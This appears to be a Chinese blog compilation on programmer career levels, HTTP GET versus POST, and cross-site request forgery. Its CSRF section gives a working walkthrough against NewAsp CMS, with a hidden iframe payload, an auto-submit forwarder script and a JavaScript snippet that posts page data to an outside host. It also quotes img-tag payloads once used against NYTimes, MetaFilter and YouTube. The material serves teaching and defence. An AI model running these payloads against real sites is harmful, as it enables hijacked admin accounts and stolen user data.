  2. 设置你的网络拒绝假冒本地地址从互联网上发来的数据包
  3. 加密也是有帮助的。FTP和Telnet协议是最容易受到攻击的。SSH是一种很好的替代方法

程序员的八个级别

在面试时,你可能会被经常问到“在未来5年,你想干什么?”,这可能是一个比较难回答的问题。在中国,答案一般可能会是Team leader,Manager,或是Architect,Specialist等,在中国,大家可能更多地觉得manager会是程序员的下一个目标,可 是在国外,经理和程序员可能是两个不同的分支,Architect或Specialist 比经理来说更牛、代遇可能也更好,因为这些人的智商需要的更高。
在著名的“Coding Horror” 上出现了这样一篇文章,我把其转到这里(我并没有完全一模一样的翻译,我只不过是用自己的话转述罢了),也让大家看看国外人的思考方式(当然,这篇文章只 是分析程序员的级别而不是工种)。正如其作者结尾时所说,这八个级别并不是很严格的,其只不过是一种想法,希望能给大家另一种思路。

第八级 不朽的程序员
这一级别是程序员的最高级别。你的代码比你的生命活的还长,当你死后,你将会成为整个历史的一部分。其它程序员对你顶礼膜拜,或许你会获得计算机最 高奖“图灵奖”,不然就是一系列极其影响力的论文,再不然,就是发明了一些可以影影响整个编程界根基的技术。你拥有的不仅仅是在维基百科上的一个词条,还 会有一个专门的网站来研究你的生平和你的工作成果。
比如:Dijkstra, Knuth(编程艺术的作者), Kay

第七级 成功的程序员
这类程序员一方面很著名,另一方面在商业上也很成功,他们影响了整个工业界。他们似乎决定了工业界中发展的方向,这些人,自己的编程能力固然了得,但估计他们的Business方面的能力应该大于他们编程的能力。(我个人认为Linus应该属于这一类)
比如: Gates(比尔盖茨), Carmack(Doom和Quake 3D游戏), DHH (Ruby on Rail的创建者)

第六级 著名程序员
这一类的程序员,在编程圈子内比较有名气,但是他们的这种名气并不一定能给他们带来某种利益。名气是一件好事,但是成功可能更好一些,这类人一般正 在给一个很著名的大的公司,或是是一极具影响力的小公司里工作,或者正在创建自己的事业。无论怎么样,其它的程序员听说过你的名字,并以你为榜样在效仿着 你。

第五级 骨干程序员
这类程序员一般来说都是公司里的骨干份子,他们担任着公司内最重要的编程角色,在公司内部,他们受到老板和其它程序员的尊敬,他们不会失业,因为他们随时都可以很容易地找到工作。他们工作过的公司都会因为他们而有所发展。

第四级 一般的程序员
这类程序员的优点在于,他们很清楚地意识到了自己可能这一辈了也无法成为一个伟大的程序员。天才只是很少的一部分人。如果这类程序员有一些商业和人 员管理能力,他们也会在公司里相当的成功。“认识自我”并不简单,这并不是一般人能做到的,能够认识自己的人已经是很不错了,找到自己的长处,并像那个方 向努力,一定也会很成功的。因为在公司里,并不只有程序员一种职位,经理,PM,流程,SQA,技术支持,售前,管理员,测试人员等等都可能会让这类程序 员有更为广阔的天空。

第三级  业余的程序员
这类人员不管是不是计算机科班出身,基础如何,他们对编程有着特殊的爱好,他们可能会是一些很有前途的学生或实习生,也许他们可能会给开源做一些贡 献(比如说提供一些语言包或是一些插件什么的),有时候,他们也会写两个小工具软件放在网上让人下载,也行有些时候就是为了玩玩而开发一些小程序而打发一 下他们空闲的时间。他们完全是靠热情和承诺来编程。兴趣永远是最好的老师,也是最好的一件事,因为兴趣而引发的热情通常会让这些程序员成为“骨干程序 员”。

第二级 不知名的程序员
这一级的程序员是典型的为大众所知的程序员,他们有一定的编程能力,但并不出众,也许他们会在一家大公司里工作,只程序员只不过是他们的工作而已,并不是他们人生的全部。当然,这样的程序员也挺好的。必竟,平凡地人还是大多数,平凡地活着也没有什么错的。

第一级 糟糕的程序员
这类程序员不知道为什么就走上了编程这条路,他们甚至连最基本的编程经验和能力都没有。所有被他们碰过的事情都需要他们的同事重头再返工一遍,他们根本不就是程序员。程序员这个职位对于他们可能就是一个错误。
正如原文作者所说,“这些级别并不是很严肃的,也并不是每个程序都会去思考一下自己的未来,但是这些级别可能会让你去想一想从事程序员十年/二十年/三十年后,自己可能变成什么样。”

浅谈HTTP中Get与Post的区别

Http定义了与服务器交互的不同方法,最基本的方法有4种,分别是GET,POST,PUT,DELETE。URL全称是资源描述符,我 们可以这样认为:一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的4个操作。到这里,大家应该有个大概的了解了,GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。
  1.根据HTTP规范,GET用于信息获取,而且应该是安全的和幂等的
  (1).所谓安全的意味着该操作用于获取信息而非修改信息。换句话说,GET 请求一般不应产生副作用。就是说,它仅仅是获取资源信息,就像数据库查询一样,不会修改,增加数据,不会影响资源的状态。
  * 注意:这里安全的含义仅仅是指是非修改信息。
  (2).幂等的意味着对同一URL的多个请求应该返回同样的结果。这里我再解释一下幂等这个概念:
<!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->  幂等(idempotent、idempotence)是一个数学或计算机学概念,常见于抽象代数中。
  幂等有一下几种定义:
  对于单目运算,如果一个运算对于在范围内的所有的一个数多次进行该运算所得的结果和进行一次该运算所得的结果是一样的,那么我们就称该运算是幂等的。比如绝对值运算就是一个例子,在实数集中,有abs(a)
=abs(abs(a))
  对于双目运算,则要求当参与运算的两个值是等值的情况下,如果满足运算结果与参与运算的两个值相等,则称该运算幂等,如求两个数的最大值的函数,有在在实数集中幂等,即max(x,x) 
= x
看完上述解释后,应该可以理解GET幂等的含义了。
  但在实际应用中,以上2条规定并没有这么严格。引用别人文章的例子:比如,新闻站点的头版不断更新。虽然第二次请求会返回不同的一批新闻,该操 作仍然被认为是安全的和幂等的,因为它总是返回当前的新闻。从根本上说,如果目标是当用户打开一个链接时,他可以确信从自身的角度来看没有改变资源即可。
  2.根据HTTP规范,POST表示可能修改变服务器上的资源的请求。继续引用上面的例子:还是新闻以网站为例,读者对新闻发表自己的评论应该通过POST实现,因为在评论提交后站点的资源已经不同了,或者说资源被修改了。
  上面大概说了一下HTTP规范中GET和POST的一些原理性的问题。但在实际的做的时候,很多人却没有按照HTTP规范去做,导致这个问题的原因有很多,比如说:
  1.很多人贪方便,更新资源时用了GET,因为用POST必须要到FORM(表单),这样会麻烦一点。
  2.对资源的增,删,改,查操作,其实都可以通过GET/POST完成,不需要用到PUT和DELETE。
  3.另外一个是,早期的Web MVC框架设计者们并没有有意识地将URL当作抽象的资源来看待和设计,所以导致一个比较严重的问题是传统的Web MVC框架基本上都只支持GET和POST两种HTTP方法,而不支持PUT和DELETE方法。
   * 简单解释一下MVC:MVC本来是存在于Desktop程序中的,M是指数据模型,V是指用户界面,C则是控制器。使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。
  以上3点典型地描述了老一套的风格(没有严格遵守HTTP规范),随着架构的发展,现在出现REST(Representational State Transfer),一套支持HTTP规范的新风格,这里不多说了,可以参考《RESTful Web Services》。
  说完原理性的问题,我们再从表面现像上面看看GET和POST的区别
  1.GET 请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL和传输数据,参数之间以&相连, 如:login.action?name=hyddd&password=idontknow&verify=%E4%BD%A0%E5 %A5%BD。如果数据是英文字母/数字,原样发送,如果是空格,转换为+,如果是中文/其他字符,则直接把字符串用BASE64加密,得出如:%E4 %BD%A0%E5%A5%BD,其中%XX中的XX为该符号以16进制表示的ASCII。
  POST把提交的数据则放置在是HTTP包的包体中。
  2."GET方式提交的数据最多只能是1024字节,理论上POST没有限制,可传较大量的数据,IIS4中最大为80KB,IIS5中为100KB"??!
  以上这句是我从其他文章转过来的,其实这样说是错误的,不准确的:
  (1).首先是"GET方式提交的数据最多只能是1024字节",因为GET是通过URL提交数据,那么GET可提交的数据量就跟URL的长度有直接关系了。而实际上,URL不存在参数上限的问题HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。IE对URL长度的限制是2083字节(2K+35)。对于其他浏览器,如Netscape、FireFox等,理论上没有长度限制,其限制取决于操作系统的支持。
  注意这是限制是整个URL长度,而不仅仅是你的参数值数据长度。[见参考资料5]
  (2).理论上讲,POST是没有大小限制的HTTP协议规范也没有进行大小限制,说“POST数据量存在80K/100K的大小限制”是不准确的,POST数据是没有限制的,起限制作用的是服务器的处理程序的处理能力。
  对于ASP程序,Request对象处理每个表单域时存在100K的数据长度限制。但如果使用Request.BinaryRead则没有这个限制。
  由这个延伸出去,对于IIS 6.0,微软出于安全考虑,加大了限制。我们还需要注意:
     1).IIS 6.0默认ASP POST数据量最大为200KB,每个表单域限制是100KB。
     2).IIS 6.0默认上传文件的最大大小是4MB。
     3).IIS 6.0默认最大请求头是16KB。
  IIS 6.0之前没有这些限制。[见参考资料5]
  所以上面的80K,100K可能只是默认值而已(注:关于IIS4和IIS5的参数,我还没有确认),但肯定是可以自己设置的。由于每个版本的IIS对这些参数的默认值都不一样,具体请参考相关的IIS配置文档。
  3. 在ASP中,服务端获取GET请求参数用Request.QueryString,获取POST请求参数用Request.Form。在JSP中,用 request.getParameter(\"XXXX\")来获取,虽然jsp中也有request.getQueryString()方法,但使用 起来比较麻烦,比如:传一个test.jsp?name=hyddd&password=hyddd,用 request.getQueryString()得到的是:name=hyddd&password=hyddd。在PHP中,可以 用$_GET和$_POST分别获取GET和POST中的数据,而$_REQUEST则可以获取GET和POST两种请求中的数据。值得注意的是,JSP 中使用request和PHP中使用$_REQUEST都会有隐患,这个下次再写个文章总结。
  4.POST 的安全性要比GET的安全性高。注意:这里所说的安全性和上面GET提到的“安全”不是同个概念。上面“安全”的含义仅仅是不作数据修改,而这里安全的含 义是真正的Security的含义,比如:通过GET提交数据,用户名和密码将明文出现在URL上,因为(1)登录页面有可能被浏览器缓存,(2)其他人 查看浏览器的历史纪录,那么别人就可以拿到你的账号和密码了,除此之外,使用GET提交数据还可能会造成Cross-site request forgery攻击。
  总结一下,Get是向服务器发索取数据的一种请求,而Post是向服务器提交数据的一种请求,在FORM(表单)中,Method默认为"GET",实质上,GET和POST只是发送机制不同,并不是一个取一个发!

Web的脆弱性:各种注入、攻击

跨站请求伪造(cross-site request forgery)通常缩写为XSRF,直译为跨站请求伪造,即攻击者通过调用第三方网站的恶意脚本或者利用程序来伪造请求,当然并不需要向用户端伪装任何 具有欺骗的内容,在用户不知情时攻击者直接利用用户的浏览器向攻击的应用程序提交一个已经预测好请求参数的操作数据包,利用的实质是劫持用户的会话状态, 强行提交攻击者构造的具有“操作行为”的数据包。可以看出,最关键的是劫持用户的会话状态,所以说,导致XSRF漏洞的主要原因是会话状态的保持没有唯一 时间特征的标识,即是说在使用HTTPCookie传送会话令牌的过程中,应该更谨慎的判断当前用户,而不是简单的通过操作数据包的Cookie值来鉴 别,简单的说是每次数据交互时,对提交的数据包实行唯一性标识。
XSRF攻击流程大致如下:

从上图可以看出,要完成一次XSRF攻击,比较关键的三个问题:
1) 会话状态[A]的保持,即用户已经获取了易受攻击网站A的信任授权。
2) 用户在依然保持没有登出易受攻击网站A的情况下,访问了“第三方网站”。
3) 提交的“操作”数据包是可以预知的。
国内的许多大型WEB程序开发者好像对XSRF没有足够的重视,这些看似需要特定场景才能诱发的漏洞,在结合XSS后,想来威胁应该不在注入之下。本文以新云管理系统来实例演示添加管理员。
在网上下载的版本是”NewAsp CMS Version 4.0.0 SP2”。在新云管理系统添加管理员的构造表单如下,代码在“/wwwroot/admin/users/admin_master.asp”
<form. action="?action=savenew" accept-charset="UNKNOWN" enctype="application/x-www-form-urlencoded" method="post"><table class="tableborder" border="0" cellspacing="1" cellpadding="3" align="center"><tbody><tr><th colspan="2">添加管理员</th></tr><tr><td class="tablerow1" width="25%" align="right"><strong>后台登陆名称:</strong></td><td class="tablerow1" width="75%"><input name="username2" size="30" type="text" /></td></tr><tr><td class="tablerow2" align="right"><strong>后台登陆密码:</strong></td><td class="tablerow2"><input name="password2" size="30" type="password" /></td></tr><tr><td class="tablerow1" align="right"><strong>管理员级别:</strong></td><td class="tablerow1"><input checked="checked" name="AdminGrade" type="radio" value="0" /> 普通管理员   <input name="AdminGrade" type="radio" value="999" /> 高级管理员(拥有最高权限)   <input name="AdminGrade" type="radio" value="111" /> 只读管理员</td></tr><tr><td class="tablerow2" align="right"><strong>限制一个管理员登陆:</strong></td>< td class="tablerow2"><input checked="checked" name="isAloneLogin" type="radio" value="1" /> 是   <input name="isAloneLogin" type="radio" value="0" /> 否</td></tr><tr><td class="tablerow1" align="right"><strong>是否激活管理员:</strong></td><td class="tablerow1"><input checked="checked" name="isLock" type="radio" value="0" /> 是   <input name="isLock" type="radio" value="1" /> 否</td></tr><tr><td class="tablerow2" align="right"><strong> </strong></td><td class="tablerow2"><input class="button" name="reset_button" type="reset" value="清 除" />   <input class="button" name="submit_button" type="submit" value="提 交" /></td></tr></tbody></table></form> 从代码可以看出构造的提交表单没有再次验证,而是让cookie来简单判定用户操作行为,即使cookie的滥用,导致xsrf漏洞的出现。
以下代码是新云管理系统添加管理员的代码:
Sub savenew()Dim Rs,SQLDim adminuseridIf Request.Form("username2") = "" ThenErrMsg = "请输入后台登陆用户名!"Founderr = TrueExit SubElseadminuserid = Request.Form("username2")End IfIf Request.Form("password2") = "" ThenErrMsg = "请输入后台登陆密码!"Founderr = TrueExit SubEnd IfSet Rs=NewAsp.Execute("SELECT username FROM NC_Admin WHERE username='" &amp; Replace(Request.Form("username2"), "'", "") &amp; "'")If Not (Rs.EOF And Rs.bof) ThenErrMsg = "您输入的用户名已经在管理用户中存在!"Founderr = TrueExit SubEnd IfSet Rs=NewAsp.CreateAXObject("ADODB.Recordset")="SELECT * FROM NC_Admin WHERE (id is null)"Rs.open SQL,conn,1,3Rs.addnewRs("username") = Replace(Request.Form("username2"), "'", "")If NewAsp.ChkNumeric(Request.Form("AdminGrade")) = 999 ThenRs("status") = "高级管理员"ElseIf NewAsp.ChkNumeric(Request.Form("AdminGrade")) = 111 ThenRs("status") = "只读管理员"ElseRs("status") = "普通管理员"End IfRs("password") = md5(Request.Form("password2"),16)Rs("isLock") = NewAsp.ChkNumeric(Request.Form("isLock"))Rs("AdminGrade") = NewAsp.ChkNumeric(Request.Form("AdminGrade"))Rs("Adminflag") = ",,,,,,,,,,,,,,,"Rs("LoginTime") = Now()Rs("Loginip") = NewAsp.UserTrueIPRs("RandomCode") = NewAsp.GetRandomCode(16)Rs("isAloneLogin") = NewAsp.ChkNumeric(Request.Form("isAloneLogin"))Rs.updateRs.close:set Rs=NothingSucceed ("用户ID:" &amp; adminuserid &amp; " 添加成功,请到管理员管理给予相应的权限,如需修改请返回管理员管理!")End Sub 对添加管理员操作进行抓包分析,如图:

只是向/admin/users/admin_master.asp?action=savenew 页面POST一行数据“
username2=fan& amp;password2=fan&AdminGrade=999&isAloneLogin=1&isLock=0& amp;submit_button=%CC%E1+%BD%BB“,这就是添加网站管理员的一个数据操作。我们来模拟提交一下,在Firefox浏览器 安装插件Hackbar,如图:

点选”Enble Post data”空框按钮,填写Post的地址和数据,来添加一个用户名和密码均为nuanyue,如图:

由于xsrf攻击需要劫持网站的授权,所以之前是需要登录后台的,点击“Execute”进行提交,如图:


提示添加用户nuanyue成功,刚模拟了数据提交的过程,只要劫持了cookie就能直接添加管理员了。通过模拟提交数据,可以肯定新云网站管理系统存在XSRF漏洞。
在分析了数据提交的过程,需要构造一个在后台自动提交的文件,lake2在其csrf攻击与防御的中,提供了一个Asp提交的代码:
Post.asp<!--r /> response.write("<title>XSS post forwarder</title>")lake2 = antiXSS(request("lake2"))if lake2<>"" thenresponse.write("<form. method='post' action='" & lake2 & "'>")for each b in request.QueryStringif b <> "lake2" then response.write("<input type='hidden' value='" & antiXSS(request(b)) & "' name='" & antiXSS(b) & "' />")nextresponse.write("</form> ")response.write("<mce :script. type="text/javascript">< ! document.forms[0].submit(); // ></mce>")elseresponse.Write("enjoy hacking :p")end if ' -_-!!function antiXSS(str)str = replace(str, "'", "")antiXSS = strend function--> 在调用时用到iframe框架调用代码2.html如下:
<iframe. width=0 height=0 src="http://192.168.1.107/post.asp?lake2=http://192.168.1.109/admin/users/admin_master.asp?action=savenew&username2=fan&password2=fan&AdminGrade=999&isAloneLogin=1&isLock=0&submit_button=%CC%E1+%BD%BB"></iframe> 在构造好用于数据提交的文件后,剩下就是诱使网站管理员来访问网页了。当然如果有xss漏洞,则可以用Javascript直接调用。如图:

当网站管理员点击时,我们对此抓包分析看跟在网站管理后台提交的数据包是否一样:


与模拟提交的过程一样,成功添加网站管理员:

看来XSRF攻击还是挺简单的。只是看你如何利用了。从攻击过程来看,攻击者劫持登录到网站的受信任者的cookie而构造了一个后台提交Post 数据的网页,当受信任者访问了此构造的网页就会在后台隐藏提交添加管理员的数据包,从而利用了受信cookie值进行操作。在防范此类攻击时,一般的解决 方案是页面使用验证码,这是最直接和简单的,在验证码算法没有被攻破前,是最有效的。当然还有一些不太完善的方法,比如检查HTTP请求来路,检查 COOKIE凭据,隐藏表单等。在检测访问来路的方案中,获得HTTP请求中的来路信息,攻击者是可以伪造HTTP Referer进行欺骗,在检查COOKIE凭据时,攻击者可以通过XSS轻易获取其值,而隐藏表单则只需要分析提交的数据,即可模拟提交,当然上述方法 如果结合别的技术也是可行的
分享以前写的Post数据JS版:
<script. language="javascript">varbXmlHttpSupport=(typeofXMLHttpRequest=="object"||window.ActiveXObject); functionhttpPost(sURL,sParams){ varoURL=new.net.URL(sURL);varoConnection=oURL.openConnection(); oConnection.setDoInput(true);oConnection.setDoOutput(true);oConnection.setUseCaches(false);oConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); varoOutput=newjava.io.DataOutputStream(oConnection.getOutputStream());oOutput.writeBytes(sParams);oOutput.flush();oOutput.close(); varsLine="",sResponseText=""; varoInput=newjava.io.DataInputStream(oConnection.getInputStream());sLine=oInput.readLine(); while(sLine!=null){sResponseText+=sLine+"\n";sLine=oInput.readLine();} oInput.close(); returnsResponseText;} functionaddPostParam(sParams,sParamName,sParamValue){if(sParams.length>0){sParams+="&";}returnsParams+encodeURIComponent(sParamName)+"="+encodeURIComponent(sParamValue);} functionaddURLParam(sURL,sParamName,sParamValue){sURL+=(sURL.indexOf("?")==-1?"?":"&");sURL+=encodeURIComponent(sParamName)+"="+encodeURIComponent(sParamValue);returnsURL;} if(typeofXMLHttpRequest=="undefined"&&window.ActiveXObject){ functionXMLHttpRequest(){ vararrSignatures=["MSXML2.XMLHTTP.5.0","MSXML2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"]; for(vari=0;i<arrSignatures.length;i++){try{ varoRequest=newActiveXObject(arrSignatures[i]); returnoRequest; }catch(oError){//ignore}} thrownewError("MSXML is not installed on your system.");}} varHttp=newObject; Http.post=function(sURL,sParams,fnCallback){ if(bXmlHttpSupport){ varoRequest=newXMLHttpRequest();oRequest.open("post",sURL,true);oRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");oRequest.onreadystatechange=function(){if(oRequest.readyState==4){fnCallback(oRequest.responseText);}}oRequest.send(sParams); }elseif(navigator.javaEnabled()&&typeofjava!="undefined"&&typeofjava.net!="undefined"){ setTimeout(function(){fnCallback(httpPost(sURL,sParams));},10);}else{alert("Your browser doesn't support HTTP requests.");} }; functiongetServerInfo(data){varsURL="http://www.nuanyuecom/te.php";varsParams="";sParams=addPostParam(sParams,"name",data);sParams=addPostParam(sParams,"book","Professional JavaScript"); Http.post(sURL,sParams,function(sData){alert("Data from : "+sData);}); } varh=location.hash;vara=h.split("#");varb=unescape(a[a.length-1]);getServerInfo(b);
-

深入解析跨站请求伪造漏洞

深入解析跨站请求伪造漏洞:实例讲解(1)

2008-12-24 08:34 宇文 51CTO.com 我要评论(0) 字号:T | T
一键收藏,随时查看,分享好友!
在下篇中,我们将向读者介绍在一些大型站点上发现的几个严重的CSRF漏洞,攻击者利用这些漏洞不仅能够采集用户的电子邮件地址,侵犯用户隐私并操控用户帐户。如果金融站点出现了跨站请求伪造漏洞的话,这些漏洞甚至允许攻击者从用户的银行帐户中划走资金。
【51CTO.com 独家特稿】本文的上篇中,我们着重介绍了跨站请求伪造的原理,并指出现有的安全模型并不能真正防御这种攻击。在下篇中,我们将向读者介绍在一些大型站点上 发现的几个严重的CSRF漏洞,攻击者利用这些漏洞不仅能够采集用户的电子邮件地址,侵犯用户隐私并操控用户帐户。如果金融站点出现了跨站请求伪造漏洞的 话,这些漏洞甚至允许攻击者从用户的银行帐户中划走资金。为了全面的防御CSRF攻击,建议对服务器端进行改造。此外,本文还会介绍服务器端解决方案应具 备的特征,如果缺乏这些特性,就会导致CSRF保护措施不必要地妨碍典型的web浏览活动。除此之外,本文还将介绍一个客户端浏览器插件,有了该插件的保 护,即使站点自身没有保护措施的情况下,用户也能免受某些类型的CSRF攻击的滋扰。跨站请求伪造是一种严重的Web漏洞,希望大家能提高对CSRF攻击 的防范意识。
下面是安全人员于今年在现实世界中NYTimes.com、Metafilter 和YouTube曾经出现过的跨站请求伪造漏洞。
一、纽约时报网站上的跨站请求伪造漏洞
今年,安全人员曾在NYTimes.com上发现了一个CSRF弱点,它使得攻击者可以获取用户的电子邮件地址。如果您是NYTimes.com的会员,那么任何站点都能利用该漏洞来获取您的电子邮件地址,并以您的名义来发送垃圾邮件。
这个攻击充分地利用了NYTimes.com的“Email This”功能,它允许用户将一篇NYTimes.com文章的链接发送给用户指定的收信人的电子邮件地址,如果需要的话,同时可以附带个人消息。收信人将收到一封类似下面的电子邮件:
This page was sent to you by: [USER’S EMAIL ADDRESS]
Message from sender:
Thought you’d be interested in this.
NATIONAL DESK
Researchers Find Way to Steal Encrypted Data
By JOHN MARKOFF
A computer security research group has developed a way to steal encrypted information from computer hard disks.
要想利用该漏洞,攻击者需要设法让已登录用户的浏览器向NYTimes.com的“Email this”页面发送一个请求。由于接收“Email this”请求的页面没有对CSRF攻击采取有效措施,所以只要设法让用户的浏览器向NYTimes.com发送一个精心构造的请求,就会导致 NYTimes.com发送一封电子邮件到攻击者所指定的地址。如果攻击者把收信人电子邮件地址指定为他自己的电子邮件地址,他将收到一封来自 NYTimes.com电子邮件,当然其中必定含有某用户的电子邮件地址。
这个弱点的利用方法很简单。NYTimes.com上的每篇文章都有一个指向“Email this”页面的链接,而“Email this”页面含有一个表单,用户可以在其中输入一个收信人的电子邮件地址。这个表单还包含一些隐形的变量,这些变量随文章的不同而不同,所以这些隐形的 变量具有唯一性。下面是表单示例:
{form
action="http://www.nytimes.com/mem/emailthis.html"
method="POST"
enctype="application/x-www-form-urlencoded"}
{nput type="checkbox" id="copytoself"
name="copytoself" value="Y"}
{input id="recipients" name="recipients"
type="text" maxlength="1320" value=""}
{nput type="hidden" name="state" value="1"}
{extarea id="message" name="personalnote"
maxlength="512"}/textarea}
{nput type="hidden" name="type" value="1"}
{nput type="hidden" name="url"
value="[...]"}
nput type="hidden" name="title"
value="[...]"}
nput type="hidden" name="description"
value="[...]"}
..
{form}
因为NYTimes.com没有区分GET和POST请求,所以攻击者可以把该表单转换成一个GET请求(这样就可以将来将其用于{mg}签中)。 把表单转换成一个GET请求时,需要将每个参数附加到URL的查询字符串上(形式为NAME = VALUE,并用&号分隔)。
一旦攻击者构造好URL,他就可以把它设为{img}标签的SRC属性。如果某个NYTimes.com的已登录用户访问了任何包含上述标 签的页面,那么浏览器就会用攻击者的参数来加载“Email this”页面,并引起NYTimes.com发送一封包含该用户的电子邮件地址的电子邮件给攻击者。攻击者可以存储这个电子邮件地址,以供将来之用(例 如用于发送垃圾邮件)或者使用该电子邮件地址来识别他自己的站点的访客的身份。这可以引起严重的隐私泄漏,例如某些颇具争议的站点(例如政治的或者非法的 站点)的管理员识别他们的用户的身份。
安全研究人员用Firefox、Opera 和Safari 等对该攻击进行了验证。由于P3P的原因,它对Internet Explorer无效。后来纽约时报将页面改成只允许POST请求,所以现在能够防止原来的攻击。
二、MetaFilter 网站的跨站请求伪造漏洞
同样是在今年,安全研究人员在MetaFilter发现了一个CSRF弱点,它允许攻击者劫持用户的帐户。MetaFilter有一个“Lost Password”页面,该页面允许用户请求他的口令。在该页面中输入一个用户名,MetaFilter就会把该用户的当前口令通过电子邮件发至该用户相 应的邮件地址。这意味着,攻击者只要能够改变一个用户的电子邮件地址,他就能够利用“Lost Password”页面来接受该用户的口令,继而利用该口令来控制该用户的帐户。
研究人员发现的CSRF攻击允许攻击者改变一个用户的电子邮件地址。为了利用这个攻击,攻击者需要设法让用户的浏览器发送一个请求到更新用户概况的 页面。这个页面将用户的电子邮件地址作为一位参数接收,所以,攻击者可以把传递给该页面的电子邮件地址换成他自己的地址。下面提供一个嵌入在一个页面中的 HTML来演示这个攻击过程:
{mg src="http://metafilter.com/contribute/customize_action.cfm?user_email=[ATTACKER’S EMAIL]"/}
虽然这会改变任何已登录用户的电子邮件地址,但是攻击者不会知道到底修改了哪些用户的帐户。但是,攻击者可以通过利用MetaFilter的另一项 功能来达到此目的,该功能使用户能将其他用户标记为“contacts”(即联系人)。 攻击者可以通过类似于像上面介绍的CSRF来设法让用户在不知不觉中将攻击者添加到他的联系人名单中。
研究人员用Firefox对该攻击进行了验证。不过由于P3P的原因,无法用Internet Explorer进行此项测试。
三、YouTube网站的跨站请求伪造漏洞
安全研究人员发现,在YouTube上几乎所有用户可以执行的动作都具有CSRF漏洞。如果攻击者已经将视频添加到用户的“Favorites”, 那么他就能将他自己添加到用户的“Friend”或者“Family”列表,以用户的身份发送任意的消息,将视频标记为不宜的,自动通过用户的联系人来共 享一个视频,为用户预订一个“channel”(一组由某个人或组提供的视频),将视频添加到用户的“QuickList”(一组用户打算将来观看的视 频)。例如,要把视频添加到用户的
“Favorites”,攻击者只需在任何站点上嵌入如下所示的{mg}签:
{mg src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/}
攻击者也许已经利用了该漏洞来提高视频的流行度。例如,将一个视频添加到足够多用户的“Favorites”,YouTube就会把该视频作为 “Top Favorites”(一组被大量收藏的视频)来显示。除提高一个视频的流行度之外,攻击者还可以导致用户在毫不知情的情况下将一个视频标记为“不宜 的”,从而导致YouTube删除该视频。
这些攻击还可能已被用于侵犯用户隐私。YouTube允许用户只让朋友或亲属观看某些视频。这些攻击会导致攻击者将其添加为一个用户的“Friend”或“Family”列表,这样他们就能够访问所有原本只限于好友和亲属表中的用户观看的私人的视频。
攻击者还可以通过用户的所有联系人名单(“Friends”、“Family”等等)来共享一个视频。“共享”就意味着发送一个视频的连接给他们, 当然还可以选择附加消息。这个消息可以包含一个连接,这就是说攻击者可以强迫用户包含一个具有攻击性的网站的链接。收到该消息的用户可能单击这个连接,这 使得该攻击能够进行病毒式的传播。研究人员用Firefox对此攻击进行了验证。但是对于Internet Explorer来说,由于P3P的原因,无法用它对此漏洞进行攻击。


四、保护措施概述
上面讲述了现实世界中发现的一些跨站请求伪造漏洞。下面介绍如何从服务器端和客户端来防御这种攻击。目前,已有两个工具来保护大量用户免遭CSRF 攻击。第一个工具是一个服务器端工具,它能全面保护一个潜在的目标站点免受CSRF攻击。第二工具是一个客户端工具,它可以保护用户免遭某些类型的 CSRF攻击。表 1详细描述这两种技术的适用条件。我们还对服务器端解决方案应具备的特性进行了描述,具备这些特性的解决方案比之前倡议的解决方案更具优势,因为他们无需 服务器状态,并且不会影响一般的web浏览活动。
目标服务器的安全措施 没有使用本文推荐Firefox插件的用户 使用本文推荐Firefox插件的用户 
没有保护措施的目标服务器 不受保护 不受保护
仅仅接受POST请求的目标服务器 不受保护 受保护
 使用服务器端保护措施的目标服务器  受保护  受保护
表1:用户保护情况对照表
这个表显示了在那些情况下受到或没有受到CSRF攻击保护。服务器端保护措施可以对站点的所有用户提供保护;而客户端浏览器插件可以在服务器要求使用POST请求时为用户提供保护。下面先介绍服务器端的保护措施。
五、服务器端保护措施
最近,已经出现了许多简化web开发框架,这些框架支持不同的开发语言,例如Code Igniter(PHP),Ruby on Rails(Ruby ),django(Python),Catalyst(Perl)和Struts(Java)。这些框架的一个主要优点是可以直接将CSRF保护措施放到 框架中,这样开发人员就不必亲自实现保护措施了。在框架级别实现的CSRF保护措施常遭受更大的疏漏,但是由于粗心引起的bug或者CSRF误报更低。
个别站点和框架可以通过采取下列措施来保护他们自己免受CSRF攻击:
⒈ 只允许GET请求检索数据,但是不允许它修改服务器上的任何数据。
这个修改可以防止利用{img}标签或者其它的类型的GET请求的CSRF攻击。另外,这个建议遵循RFC 2616(HTTP/1.1):
具体说来,按照约定,GET和HEAD方法不应该进行检索之外的动作。这些方法应该被认为是“安全的”。虽然这个保护措施无法阻止CSRF本身,因 为攻击者可以使用POST请求,但是它却可以与(2)结合来全面防止CSRF漏洞。这里,我们假定对手无法修改用户的cookie。
⒉ 要求所有POST请求都包含一个伪随机值。
当用户访问站点时,该站点应该生成一个(密码上很强壮的)伪随机值,并在用户的计算机上将其设为cookie。站点应该要求每个表单都包含该伪随机 值(作为表单值和cookie值)。当一个POST请求被发给站点时,只有表单值和cookie值相同时,该请求才会被认为是有效的。
当攻击者以一个用户的名义提交表单时,他只能修改该表单的值。攻击者不能读取任何发自该服务器的数据或者修改cookie值,这是同源策略的缘故。 这意味着,虽然攻击者可以用表单发送任何他想要的值,但是他却不能修改或者读取存储在该cookie中的值。因为cookie值和表单值必须是相同的,所 以除非攻击者能猜出该伪随机值,否则他就无法成功地提交表单。
3. 使用一个与会话无关的伪随机值。
与会话无关的伪随机值并不能防止在中所述的CSRF攻击。
这种服务器端保护形式具有下列特性:
轻量级。这个解决方案不要求服务器端的状态。站点唯一要做的是生成一个伪随机值(如果当前没有的话),并在一个POST请求到达时比较这两个值,所以这种CSRF保护措施只需很少的计算工作。
